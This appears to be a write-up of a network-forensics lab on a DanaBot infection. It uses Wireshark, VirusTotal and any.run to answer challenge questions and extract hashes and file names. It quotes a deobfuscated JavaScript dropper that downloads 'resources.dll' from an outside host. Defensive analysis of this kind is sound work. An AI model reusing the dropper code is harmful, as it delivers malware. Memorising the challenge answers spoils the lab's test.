Analyze network traffic using Wireshark to identify DanaBot initial access, deobfuscate malicious JavaScript, and extract IOCs like IPs, file hashes, and execution processes.
The SOC team has detected suspicious activity in the network traffic, revealing that a machine has been compromised. Sensitive company information has been stolen. Your task is to use Network Capture (PCAP) files and Threat Intelligence to investigate the incident and determine how the breach occurred.
Easy - Network Forensics | Completion Achievement
- Which IP address was used by the attacker during the initial access?
Let's starting by looking at common protocols, such as http.
Let's take a deeper look into the very first HTTP conversation by right clicking on the packet > Follow > HTTP Stream.
This is obfuscated JavaScript which is suspicious. Let's try deobfuscating this code using an online tool:
This JavaScript file seems to be some sort of dropper to download more files after running it. This script contains enough evidence to prove that the source IP address used here belongs to an attacker.
- What is the name of the malicious file used for initial access?
Let's look deeper into the login.php file with VirusTotal. We can download the login.php on Wireshark by going to File > Export Objects > HTTP... and selecting that file. Once downloaded, we simply need its hash to do some threat intel on that malicious file:
└─$ sha256sum login.php
847b4ad90b1daba2d9117a8e05776f3f902dda593fb1252289538acf476c4268 login.phpThere are many names in the Details > Names pane and we only need one. Going to the Community tab, we can find an any.run report with the correct name for this question:
The report contains our answer:
- What is the SHA-256 hash of the malicious file used for initial access?
We can find the SHA-256 hash by calculating the checksum of login.php again:
└─$ sha256sum login.php
847b4ad90b1daba2d9117a8e05776f3f902dda593fb1252289538acf476c4268 login.php- Which process was used to execute the malicious file?
Returning to the Any.run report, we can find a Behavior Graph displaying which process is used initially to execute the malicious file:
- What is the file extension of the second malicious file utilized by the attacker?
Looking at the packet capture, we can see that the attacker downloaded another file through HTTP:
Additionally, the de-obfuscated JavaScript code further demonstrates that this file was downloaded using the script used for Initial Access:
...
var _0x48a85a = _0x414360(0xa);
var _0x44bdd9 = new ActiveXObject("Scripting.FileSystemObject").GetSpecialFolder(0x2) + "\\" + _0x48a85a;
var _0x5da57f = WScript.CreateObject("MSXML2.XMLHTTP");
_0x5da57f.Open("GET", "http://soundata.top/resources.dll", false);
_0x5da57f.Send();
...- What is the MD5 hash of the second malicious file?
We can download the second malicious file similarly to the first file inside Wireshark (File > Export Objects > HTTP...). Using the md5sum utility will give us the answer:
└─$ md5sum resources.dll
e758e07113016aca55d9eda2b0ffeebe resources.dll